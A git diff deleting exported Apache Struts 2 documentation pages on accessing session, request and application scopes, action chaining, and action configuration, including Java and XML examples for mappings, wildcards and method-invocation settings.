-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Accessing application, session, request objects</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14232">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14232">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14232">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14232">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14232">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14232">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework provides several access helpers to access Session, Application, Request scopes.</p>
-
-<h2 id="Accessingapplication,session,requestobjects-AccessingfromJava">Accessing from Java</h2>
-
-<p>All the JEE scope attribute maps can be accessed via <code>ActionContext</code>.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Accessing servlet scopes</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Map attr = (Map) ActionContext.getContext().get("attr");
-attr.put("myId",myProp);
-
-Map application = (Map) ActionContext.getContext().get("application");
-application.put("myId",myProp);
-
-Map session = (Map) ActionContext.getContext().get("session");
-session.put("myId", myProp);
-
-Map request = (Map) ActionContext.getContext().get("request");
-request.put("myId",myProp);
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Do not use <code>ActionContext.getContext()</code> in the constructor of your Action class. The values may not be set up, and the call may return null for <code>getSession()</code>.</p></div></div>
-
-<p>We can also access the <code>HttpServletRequest</code> and <code>HttpServletResponse</code> objects themselves through <code>ServletActionContext</code>. In general this isn't recommended as it will tie our action to the servlet specification.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Setting session attribute through session object</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-ServletActionContext.getRequest().getSession().put("myId", myProp);
-</pre>
-</div></div>
-
-<p>Implementing <code>ServletRequestAware</code> or <code>ServletResponseAware</code>, combined with the <code><a shape="rect" href="servlet-config-interceptor.html">"servletConfig" interceptor</a></code>, is an alternative way to access the request and response objects, with the same caveat.</p>
-
-<h2 id="Accessingapplication,session,requestobjects-Accessingfromtheview(JSP,FreeMarker,etc.)">Accessing from the view (JSP, FreeMarker, etc.)</h2>
-
-<p>Request and session attributes are accessed via OGNL using the <code>#session</code> and <code>#request</code> stack values.</p>
-
-<p>The <code>#attr</code> stack value will search the <code>javax.servlet.jsp.PageContext</code> for the specified key. If the <code>PageContext</code> doean't exist, it will search the request, session, and application scopes, in that order.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Accessing the Session or Request from a JSP</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:property value="#session.myId" /&gt;
-
-&lt;s:property value="#request.myId" /&gt;
-
-&lt;s:property value="#attr.myId" /&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/action-chaining.html b/content/docs/action-chaining.html
deleted file mode 100644
index 3a489af..0000000
--- a/content/docs/action-chaining.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Action Chaining</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="action-chaining.html">Action Chaining</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Action Chaining</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14214">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14214">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14214">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14214">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14214">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14214">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework provides the ability to chain multiple actions into a defined sequence or workflow. This feature works by applying a <a shape="rect" href="chain-result.html">Chain Result</a> to a given Action, and intercepting its target Action's invocation with a <a shape="rect" href="chaining-interceptor.html">Chaining Interceptor</a>.</p><parameter ac:name="title">Don't Try This at Home</parameter><rich-text-body><p>As a rule, Action Chaining i [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/action-configuration.html b/content/docs/action-configuration.html
deleted file mode 100644
index ff4c307..0000000
--- a/content/docs/action-configuration.html
+++ /dev/null
@@ -1,296 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Action Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="action-configuration.html">Action Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Action Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14122">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14122">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14122">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14122">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14122">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14122">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The action mappings are the basic "unit-of-work" in the framework. Essentially, the action maps an identifier to a handler class. When a request matches the action's name, the framework uses the mapping to determine how to process the request.</p><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488973753423 {padding: 0px;}
-div.rbtoc1488973753423 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488973753423 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488973753423">
-<ul class="toc-indentation"><li><a shape="rect" href="#ActionConfiguration-ActionMappings">Action Mappings</a></li><li><a shape="rect" href="#ActionConfiguration-ActionNames">Action Names</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#ActionConfiguration-ActionNamesWithSlashes">Action Names With Slashes</a></li><li><a shape="rect" href="#ActionConfiguration-ActionNameswithDotsandDashes">Action Names with Dots and Dashes</a></li><li><a shape="rect" href="#ActionConfiguration-Allowedactionnames">Allowed action names</a></li></ul>
-</li><li><a shape="rect" href="#ActionConfiguration-ActionMethods">Action Methods</a></li><li><a shape="rect" href="#ActionConfiguration-WildcardMethod">Wildcard Method</a></li><li><a shape="rect" href="#ActionConfiguration-DynamicMethodInvocation">Dynamic Method Invocation</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#ActionConfiguration-StrictDMI">Strict DMI</a></li><li><a shape="rect" href="#ActionConfiguration-StrictMethodInvocation">Strict Method Invocation</a></li></ul>
-</li><li><a shape="rect" href="#ActionConfiguration-ActionSupportDefault">ActionSupport Default</a></li><li><a shape="rect" href="#ActionConfiguration-Post-BackDefault">Post-Back Default</a></li><li><a shape="rect" href="#ActionConfiguration-ActionDefault">Action Default</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#ActionConfiguration-WildcardDefault">Wildcard Default</a></li></ul>
-</li><li><a shape="rect" href="#ActionConfiguration-Next:">Next: Wildcard Mappings</a></li></ul>
-</div><h2 id="ActionConfiguration-ActionMappings">Action Mappings</h2><p>The action mapping can specify a set of result types, a set of exception handlers, and an interceptor stack. Only the <code>name</code> attribute is required. The other attributes can also be provided at package scope.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>A Logon Action</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="Logon" class="tutorial.Logon"&gt;
-  &lt;result type="redirectAction"&gt;Menu&lt;/result&gt;
-  &lt;result name="input"&gt;/Logon.jsp&lt;/result&gt;
-&lt;/action&gt; </pre>
-</div></div><p>When using <a shape="rect" href="convention-plugin.html">Convention Plugin</a> the action mapping can be configured with annotations:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>A Logon Action with annotations</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package tutorial
-
-@Action("Logon") // actually that is not necessary as it is added by convention
-@Results(
-	@Result(type="redirectAction", location="Menu"),
-	@Result(name="input", location="/Logon.jsp")
-)
-public class Logon {</pre>
-</div></div><h2 id="ActionConfiguration-ActionNames">Action Names</h2><p>In a web application, the <code>name</code> attribute is matched as part of the location requested by a browser (or other HTTP client). The framework will drop the host and application name and the extension and match what's in the middle: the action name. So, a request for <code><a shape="rect" class="external-link" href="http://www.planetstruts.org/struts2-mailreader/Welcome.action" rel="nofollow">http://www.plane [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form action="Hello"&gt;
-    &lt;s:textfield label="Please enter your name" name="name"/&gt;
-    &lt;s:submit/&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div><h3 id="ActionConfiguration-ActionNamesWithSlashes">Action Names With Slashes</h3><p><span>If your action names have slashes in them (for example, </span><code>&lt;action name="admin/home" class="tutorial.Admin"/&gt;</code><span>) you need to specifically allow slashes in your action names via a constant in the </span><code>struts.xml</code><span> file by specifying </span><code>&lt;constant name="struts.enable.SlashesInActionNames" value="true"/&gt;</code><span>. See </span> [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;struts&gt;
-  &lt;constant name="struts.allowed.action.names" value="[a-z{}]"*/&gt;
-  ...
-&lt;/struts&gt;</pre>
-</div></div><p><strong>NOTE</strong>: Please be aware that action names not matching the RegEx will rise an exception.</p><h2 id="ActionConfiguration-ActionMethods">Action Methods</h2><p>The default entry method to the handler class is defined by the Action interface.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Action interface</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public interface Action {
-    public String execute() throws Exception;
-}
-</pre>
-</div></div><p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> Implementing the Action interface is optional. If Action is not implemented, the framework will use reflection to look for an <code>execute</code> method.</p><p>Sometimes, developers like to create more than one entry point to an Action. For exampl [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="delete" class="example.CrudAction" method="delete"&gt;
-    ...
-</pre>
-</div></div><p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> If there is no <code>execute</code> method and no other method specified in the configuration the framework will throw an exception.</p><p>&#160;</p><p><a shape="rect" href="convention-plugin.html">Convention Plugin</a> allows that by annotating methods:</p [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@Action("crud")
-public class CrudAction {
-	@Action("delete")
-	public String delete() {
-		...
-</pre>
-</div></div><h2 id="ActionConfiguration-WildcardMethod">Wildcard Method</h2><p>Many times, a set of action mappings will share a common pattern. For example, all your <code>edit</code> actions might start with the word "edit", and call the <code>edit</code> method on the Action class. The <code>delete</code> actions might use the same pattern, but call the <code>delete</code> method instead.</p><p>Rather than code a separate mapping for each action class that uses this pattern, you can w [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="*Crud" class="example.Crud" method="{1}"&gt;
-    ...
-</pre>
-</div></div><p>Here, a reference to "editCrud" will call the <code>edit</code> method on an instance of the Crud Action class. Likewise, a reference to "deleteCrud" will call the <code>delete</code> method instead.</p><p>Another common approach is to postfix the method name and set it off with an exclamation point (aka "bang"), underscore, or other special character.</p><ul><li>"action=Crud_input"</li><li>"action=Crud_delete"</li></ul><p>To use a postfix wildcard, just move the asterisk  [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="Crud_*" class="example.Crud" method="{1}"&gt;
-</pre>
-</div></div><p>From the framework's perspective, a wildcard mapping creates a new "virtual" mapping with all the same attributes as a conventional, static mapping. As a result, you can use the expanded wildcard name as the name of validation, type conversion, and message resource files, just as if it were an Action name (which it is!).</p><ul><li><code>Crud_input-validation.xml</code></li><li><code>Crud_delete-conversion.xml</code></li></ul><div class="confluence-information-macro conflu [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-&lt;!DOCTYPE struts PUBLIC
-	"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
-	"http://struts.apache.org/dtds/struts-2.3.dtd"&gt;
-&lt;struts&gt;
-
-  &lt;constant name="struts.enable.DynamicMethodInvocation" value="true"/&gt;
-
-  &lt;package name="default" extends="struts-default" strict-method-invocation="true"&gt;
-
-	&lt;action name="index" class="org.apache.struts2.examples.actions.Index"&gt;
-		&lt;result name="success" type="redirectAction"&gt;hello&lt;/result&gt;
-	&lt;/action&gt;
-
-	&lt;action name="hello" class="org.apache.struts2.examples.actions.HelloAction"&gt;
-		&lt;result name="success"&gt;/WEB-INF/content/hello.jsp&lt;/result&gt;
-		&lt;result name="redisplay" type="redirectAction"&gt;hello&lt;/result&gt;
-		&lt;allowed-methods&gt;add&lt;/allowed-methods&gt;
-	&lt;/action&gt;
-
-  &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div><h3 id="ActionConfiguration-StrictMethodInvocation">Strict Method Invocation</h3><p>In Struts 2.5 the Strict DMI was extended and it's called <strong>Strict Method Invocation</strong>&#160;aka SMI. You can imagine that the DMI is a "border police", where SMI is a "tax police" and keeps eye on internals. With this version, SMI is enabled by default (<code>strict-method-invocation</code> attribute is set to&#160;<code>true</code> by default in&#160;<code>struts-default</code> p [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-&lt;!DOCTYPE struts PUBLIC
-        "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
-        "http://struts.apache.org/dtds/struts-2.5.dtd"&gt;
-&lt;struts&gt;
-...
-&lt;/struts&gt;</pre>
-</div></div><p>SMI works in the following way:</p><ul style="list-style-type: square;"><li><code>&lt;allowed-methods&gt;</code>&#160;/ <code>@AllowedMethods</code>&#160;is defined per action - SMI works without switching it on but just for those actions (plus adding <code>&lt;global-allowed-methods/&gt;</code>)</li><li>SMI is enabled but no <code>&lt;allowed-methods&gt;</code>&#160;/ <code>@AllowedMethods</code>&#160;are defined - SMI works but only with <code>&lt;global-allowed-methods/ [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;package ...&gt;
-  ...
-  &lt;global-allowed-methods&gt;execute,input,back,cancel,browse&lt;/global-allowed-methods&gt;
-  ...
-&#160;
-  &lt;action name="Bar"&gt;
-    &lt;allowed-methods&gt;foo,bar&lt;/allowed-methods&gt;
-  &lt;/action&gt;
-&#160;
-  ...
-&lt;/package&gt;
-
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>SMI via annotation on action class level</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@AllowedMethods("end")
-public class ClassLevelAllowedMethodsAction {
-    public String execute() { 
-        return ...
-    }
-}</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>SMI via annotation on package level (in package-info.java)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@org.apache.struts2.convention.annotation.AllowedMethods({"home", "start"})
-package org.apache.struts2.convention.actions.allowedmethods;</pre>
-</div></div><p>Allowed methods can be defined as:</p><ul style="list-style-type: square;"><li><p>literals ie. in xml: <code>execute,cancel </code>or in annotation:<code> {"<code>execute</code>", "<code>cancel</code>"}<br clear="none"></code></p></li><li>patterns when using with wildcard mapping, i.e <code>&lt;action ... method="do{2}"/&gt;</code></li><li>RegExs using <code>regex:</code>&#160;prefix, ie:&#160;<code>&lt;global-allowed-methods&gt;execute,input,cancel,regex:user([A-Z]*)&lt;/ [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="Hello"&gt;
-   // ...
-&lt;/action&gt;
-</pre>
-</div></div><p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> The ActionSupport class has an <code>execute</code> method that returns "success" and an <code>input</code> method that returns "input".<br clear="none"> <img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/59 [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form&gt;
-    &lt;s:textfield label="Please enter your name" name="name"/&gt;
-    &lt;s:submit/&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div><h2 id="ActionConfiguration-ActionDefault">Action Default</h2><p>Usually, if an action is requested, and the framework can't map the request to an action name, the result will be the usual "404 - Page not found" error. But, if you would prefer that an omnibus action handle any unmatched requests, you can specify a default action. If no other action matches, the default action is used instead.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent pa [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;package name="Hello" extends="action-default"&gt;
-
-    &lt;default-action-ref name="UnderConstruction"/&gt;
-
-    &lt;action name="UnderConstruction"&gt;
-        &lt;result&gt;/UnderConstruction.jsp&lt;/result&gt;
-    &lt;/action&gt;
-
-    ...
-</pre>
-</div></div><p>There are no special requirements for the default action. Each package can have its own default action, but there should only be one default action per namespace.</p><div class="confluence-information-macro confluence-information-macro-warning"><p class="title">One to a Namespace</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The default action features should be set up  [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="*"&gt;
-  &lt;result&gt;/{1}.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div><p>When a new action is needed, just add a stub page.</p><p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> It's important to put a "catchall" wildcard mapping like this at the end of your configuration so it won't attempt to map every request!</p><h2 id="ActionConfiguration-Next:">Next: <a shape="rect" hre [...]
-        </div>
-
